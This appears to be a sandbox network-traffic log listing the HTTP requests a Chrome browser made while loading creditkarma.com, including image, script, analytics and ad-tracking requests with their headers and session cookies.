Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: pips.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e; t_pt_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e; receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /?uid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e&ptf=V2luZG93cw==&ptfv=MTAuMC4w&ufv=MTE3LjAuNTkzOC4xMzI=&bnd=R29vZ2xlIENocm9tZQ==&bndv=MTE3&bnd=Tm90O0E9QnJhbmQ=&bndv=OA==&bnd=Q2hyb21pdW0=&bndv=MTE3&mbl=ZmFsc2U= HTTP/1.1Host: cds.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://tags.creditkarma.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://tags.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/1.43.1/favicons/android-chrome.png?w=192&h=192 HTTP/1.1Host: ck-assets.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-conversion/986970455/?random=851748034&cv=11&fst=1723223580966&bg=ffffff&guid=ON&async=1&gtm=45be4880v898638468z89187007122za201zb9187007122&gcd=13l3l3l3l1&dma=0&tag_exp=0&u_w=1280&u_h=1024&url=https%3A%2F%2Ftags.creditkarma.com%2F&ref=https%3A%2F%2Fwww.creditkarma.com%2F&top=https%3A%2F%2Fwww.creditkarma.com%2F&label=jizLCNKeoboZENfyz9YD&hn=www.googleadservices.com&frm=2&value=0&npa=0&pscdl=noapi&auid=1935046400.1723223580&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&fmt=3&ct_cookie_present=false&crd=CKG4sQIIscGxAgiwwbECCLnBsQIiAQE4AUABSid0cmlnZ2VyO25hdmlnYXRpb24tc291cmNlLCBldmVudC1zb3VyY2ViBAoCAgM&pscrd=CPSrs7fp9MGYNCITCLfErIy06IcDFYrwEQgdz2oPTzICCAMyAggEMgIIBzICCAgyAggJMgIICjICCAIyAggLMgIIFTICCB8yAggTMgIIEjodaHR0cHM6Ly90YWdzLmNyZWRpdGthcm1hLmNvbS8&is_vtc=1&cid=CAQSKQDpaXnfv8TqumFN4TQ9CoReWLfMQexr7qobKOMy-IcWilzj4yRer3-7&eitems=ChEI8PzWtQYQ9LGvkJGl2aK5ARIdACif1ZLDzNXSfoz_5zPqoeb4tc158f62TO3KjMw&random=1906475284 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/1.43.1/favicons/android-chrome.png?w=192&h=192 HTTP/1.1Host: ck-assets.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/creditkarma/assets/js/vendor/jquery-3.5.1.min.js?m=1670242195g HTTP/1.1Host: cms.creditkarma.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CKTRKID=0E2E345D28F54D8591B341FE1B1E6372; FID=1; CKTRACEID=6879006d-00a7-423f-a0b3-35276b0a06d4; _abck=8E23E4715B33F201B58E94A39049883F~0~YAAQDWUQAvfT0TGRAQAAtxUhOAzdtYJa7NM/slLXOJQw7lbNfUNnVXDRgolt1rGEG0uiFc4yUqmUMunGe613fwpfm5I0aVSv46mzT9mO+yQCT+TbE+Be2bmc12NRv+VmAqUtDORjy1pdd/knukaCgHMHmCVAGpsElNPmLoXAKKrA4CbIiwaHCuVrH4PLVMinNE6QxHszMiqwkZcS/HQwMGgsTVlkxMEokU6j+nZxa+qaPNsRSHznWmirEycsuoS/rdXKUYwTc011mYxxIwEq5oKMMT4IGO8xYDpzIw0sU6WRI5MpQdfAiyuLeXMk4RzJ8JLTPWRjTssg9TEtqBtmcPDol7b0sJo0ZXFIAPENWaBKABVeVGCNqjAa9ncgizzRed2epZbutmgBUOIwqOFVesakXnUQDjJArKfvK7I=~-1~\|\|0\|\|~-1; _gcl_au=1.1.1935046400.1723223580; _ga_LLZT4W40QD=GS1.1.1723223581.1.0.1723223581.0.0.0; _ga=GA1.1.923835555.1723223581; _tt_enable_cookie=1; _ttp=ojlZ00ADxVMECQTDfq3dVeKk1cl; bm_sz=83FAD2C35699D0AD1021BBACB19F9DC7~YAAQDWUQAtfU0TGRAQAAtDQhOBgWSXfwoT7iqhdtzeYdlmiKmm3YWNAIZrqYP/6k+g58DLffIJ2L1CTwq2dDPZR45X9Ed8UKUWM3d4CXdhN6YShsiiugOH8asdsjuqSVnjAzg+Y9NfUYHBUNsdQbGVqYlSeq2z3Zfk45s4c6gU9r2sL6zlVANU56Q+DxvlTh89hlnCJcafBceXh1V3WuovXBHJk8Br0F3elX1gkzp/AwqAIhgXCEo3peY7QIbJ0rLZJs8M6KGFi89xuC9fD6nqD3BjHR7sWT5NQUbEe0bZXahKxU28vcJMLcohQf8zCATrRqYp26KOJMCUwmtc7F3CIQ3gQ6VD9g4QtMoM7VXymfyV0ONkFnINF4hGUBmi7lXXyfTqaIlI9V8bfZYQQUfo+Phz8=~3552562~4469559
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/creditkarma/assets/js/vendor/jquery-3.5.1.min.js?m=1670242195g HTTP/1.1Host: cms.creditkarma.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CKTRKID=0E2E345D28F54D8591B341FE1B1E6372; FID=1; CKTRACEID=6879006d-00a7-423f-a0b3-35276b0a06d4; _abck=8E23E4715B33F201B58E94A39049883F~0~YAAQDWUQAvfT0TGRAQAAtxUhOAzdtYJa7NM/slLXOJQw7lbNfUNnVXDRgolt1rGEG0uiFc4yUqmUMunGe613fwpfm5I0aVSv46mzT9mO+yQCT+TbE+Be2bmc12NRv+VmAqUtDORjy1pdd/knukaCgHMHmCVAGpsElNPmLoXAKKrA4CbIiwaHCuVrH4PLVMinNE6QxHszMiqwkZcS/HQwMGgsTVlkxMEokU6j+nZxa+qaPNsRSHznWmirEycsuoS/rdXKUYwTc011mYxxIwEq5oKMMT4IGO8xYDpzIw0sU6WRI5MpQdfAiyuLeXMk4RzJ8JLTPWRjTssg9TEtqBtmcPDol7b0sJo0ZXFIAPENWaBKABVeVGCNqjAa9ncgizzRed2epZbutmgBUOIwqOFVesakXnUQDjJArKfvK7I=~-1~\|\|0\|\|~-1; _gcl_au=1.1.1935046400.1723223580; _ga_LLZT4W40QD=GS1.1.1723223581.1.0.1723223581.0.0.0; _ga=GA1.1.923835555.1723223581; _tt_enable_cookie=1; _ttp=ojlZ00ADxVMECQTDfq3dVeKk1cl; bm_sz=83FAD2C35699D0AD1021BBACB19F9DC7~YAAQDWUQAtfU0TGRAQAAtDQhOBgWSXfwoT7iqhdtzeYdlmiKmm3YWNAIZrqYP/6k+g58DLffIJ2L1CTwq2dDPZR45X9Ed8UKUWM3d4CXdhN6YShsiiugOH8asdsjuqSVnjAzg+Y9NfUYHBUNsdQbGVqYlSeq2z3Zfk45s4c6gU9r2sL6zlVANU56Q+DxvlTh89hlnCJcafBceXh1V3WuovXBHJk8Br0F3elX1gkzp/AwqAIhgXCEo3peY7QIbJ0rLZJs8M6KGFi89xuC9fD6nqD3BjHR7sWT5NQUbEe0bZXahKxU28vcJMLcohQf8zCATrRqYp26KOJMCUwmtc7F3CIQ3gQ6VD9g4QtMoM7VXymfyV0ONkFnINF4hGUBmi7lXXyfTqaIlI9V8bfZYQQUfo+Phz8=~3552562~4469559
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/BCD-5295-Prime-LP-Hero-4.png?w=1024&fm=webp HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/BCD-5295-Module-2-Phones-1.png?w=1024&fm=webp HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /e-202432.js HTTP/1.1Host: stats.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_static/??-eJydjFESATEMQC8kG4ux48M4S7RBq007SdjrMzgAft+b93DuEJo4i6NfuLJhUI7Jr6SVkMzYDbMh9f5UrXbSZE1gTvHMPtQkQ7YFfrs5UiEJDK4kdmKFQCXcCnnTn193lvhH9qbwwp/4UPfjtFpux91mWucH96hnLA== HTTP/1.1Host: cms.creditkarma.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CKTRKID=0E2E345D28F54D8591B341FE1B1E6372; FID=1; CKTRACEID=6879006d-00a7-423f-a0b3-35276b0a06d4; _abck=8E23E4715B33F201B58E94A39049883F~0~YAAQDWUQAvfT0TGRAQAAtxUhOAzdtYJa7NM/slLXOJQw7lbNfUNnVXDRgolt1rGEG0uiFc4yUqmUMunGe613fwpfm5I0aVSv46mzT9mO+yQCT+TbE+Be2bmc12NRv+VmAqUtDORjy1pdd/knukaCgHMHmCVAGpsElNPmLoXAKKrA4CbIiwaHCuVrH4PLVMinNE6QxHszMiqwkZcS/HQwMGgsTVlkxMEokU6j+nZxa+qaPNsRSHznWmirEycsuoS/rdXKUYwTc011mYxxIwEq5oKMMT4IGO8xYDpzIw0sU6WRI5MpQdfAiyuLeXMk4RzJ8JLTPWRjTssg9TEtqBtmcPDol7b0sJo0ZXFIAPENWaBKABVeVGCNqjAa9ncgizzRed2epZbutmgBUOIwqOFVesakXnUQDjJArKfvK7I=~-1~\|\|0\|\|~-1; _gcl_au=1.1.1935046400.1723223580; _ga_LLZT4W40QD=GS1.1.1723223581.1.0.1723223581.0.0.0; _ga=GA1.1.923835555.1723223581; _tt_enable_cookie=1; _ttp=ojlZ00ADxVMECQTDfq3dVeKk1cl; bm_sz=83FAD2C35699D0AD1021BBACB19F9DC7~YAAQDWUQAtfU0TGRAQAAtDQhOBgWSXfwoT7iqhdtzeYdlmiKmm3YWNAIZrqYP/6k+g58DLffIJ2L1CTwq2dDPZR45X9Ed8UKUWM3d4CXdhN6YShsiiugOH8asdsjuqSVnjAzg+Y9NfUYHBUNsdQbGVqYlSeq2z3Zfk45s4c6gU9r2sL6zlVANU56Q+DxvlTh89hlnCJcafBceXh1V3WuovXBHJk8Br0F3elX1gkzp/AwqAIhgXCEo3peY7QIbJ0rLZJs8M6KGFi89xuC9fD6nqD3BjHR7sWT5NQUbEe0bZXahKxU28vcJMLcohQf8zCATrRqYp26KOJMCUwmtc7F3CIQ3gQ6VD9g4QtMoM7VXymfyV0ONkFnINF4hGUBmi7lXXyfTqaIlI9V8bfZYQQUfo+Phz8=~3552562~4469559
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/BCD-5295-Module-3-Net-Worth-4.png?w=1024&fm=webp HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/Eyebrow-Net-Worth-1.png?fm=webp HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/creditkarma/assets/images/creditkarma-intuit-logo.svg HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/creditkarma/assets/images/creditkarma-trademark.svg HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /e-202432.js HTTP/1.1Host: stats.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/BCD-5295-Prime-LP-Hero-4.png?w=1024&fm=webp HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/BCD-5295-Module-2-Phones-1.png?w=1024&fm=webp HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/Eyebrow-Net-Worth-1.png?fm=webp HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/creditkarma/assets/images/creditkarma-intuit-logo.svg HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/creditkarma/assets/images/creditkarma-trademark.svg HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/BCD-5295-Module-3-Net-Worth-4.png?w=1024&fm=webp HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/Graph-with-up-arrow-4.png?auto=compress HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_static/??-eJydjFESATEMQC8kG4ux48M4S7RBq007SdjrMzgAft+b93DuEJo4i6NfuLJhUI7Jr6SVkMzYDbMh9f5UrXbSZE1gTvHMPtQkQ7YFfrs5UiEJDK4kdmKFQCXcCnnTn193lvhH9qbwwp/4UPfjtFpux91mWucH96hnLA== HTTP/1.1Host: cms.creditkarma.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CKTRKID=0E2E345D28F54D8591B341FE1B1E6372; FID=1; CKTRACEID=6879006d-00a7-423f-a0b3-35276b0a06d4; _abck=8E23E4715B33F201B58E94A39049883F~0~YAAQDWUQAvfT0TGRAQAAtxUhOAzdtYJa7NM/slLXOJQw7lbNfUNnVXDRgolt1rGEG0uiFc4yUqmUMunGe613fwpfm5I0aVSv46mzT9mO+yQCT+TbE+Be2bmc12NRv+VmAqUtDORjy1pdd/knukaCgHMHmCVAGpsElNPmLoXAKKrA4CbIiwaHCuVrH4PLVMinNE6QxHszMiqwkZcS/HQwMGgsTVlkxMEokU6j+nZxa+qaPNsRSHznWmirEycsuoS/rdXKUYwTc011mYxxIwEq5oKMMT4IGO8xYDpzIw0sU6WRI5MpQdfAiyuLeXMk4RzJ8JLTPWRjTssg9TEtqBtmcPDol7b0sJo0ZXFIAPENWaBKABVeVGCNqjAa9ncgizzRed2epZbutmgBUOIwqOFVesakXnUQDjJArKfvK7I=~-1~\|\|0\|\|~-1; _gcl_au=1.1.1935046400.1723223580; _ga_LLZT4W40QD=GS1.1.1723223581.1.0.1723223581.0.0.0; _ga=GA1.1.923835555.1723223581; _tt_enable_cookie=1; _ttp=ojlZ00ADxVMECQTDfq3dVeKk1cl; bm_sz=83FAD2C35699D0AD1021BBACB19F9DC7~YAAQDWUQAtfU0TGRAQAAtDQhOBgWSXfwoT7iqhdtzeYdlmiKmm3YWNAIZrqYP/6k+g58DLffIJ2L1CTwq2dDPZR45X9Ed8UKUWM3d4CXdhN6YShsiiugOH8asdsjuqSVnjAzg+Y9NfUYHBUNsdQbGVqYlSeq2z3Zfk45s4c6gU9r2sL6zlVANU56Q+DxvlTh89hlnCJcafBceXh1V3WuovXBHJk8Br0F3elX1gkzp/AwqAIhgXCEo3peY7QIbJ0rLZJs8M6KGFi89xuC9fD6nqD3BjHR7sWT5NQUbEe0bZXahKxU28vcJMLcohQf8zCATrRqYp26KOJMCUwmtc7F3CIQ3gQ6VD9g4QtMoM7VXymfyV0ONkFnINF4hGUBmi7lXXyfTqaIlI9V8bfZYQQUfo+Phz8=~3552562~4469559
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/Money-3.png?auto=compress HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g.gif?v=ext&blog=138066937&post=4063040&tz=-7&srv=cms.creditkarma.com&hp=vip&j=1%3A13.6&host=www.creditkarma.com&ref=https%3A%2F%2Fwww.creditkarma.com%2F&fcp=4813&rand=0.5334428172984114 HTTP/1.1Host: pixel.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/LCR-5529-Module-4-monthly-insights-6.png?w=1024&fm=webp HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/Eyebrow-Cash-Flow.png?fm=webp HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
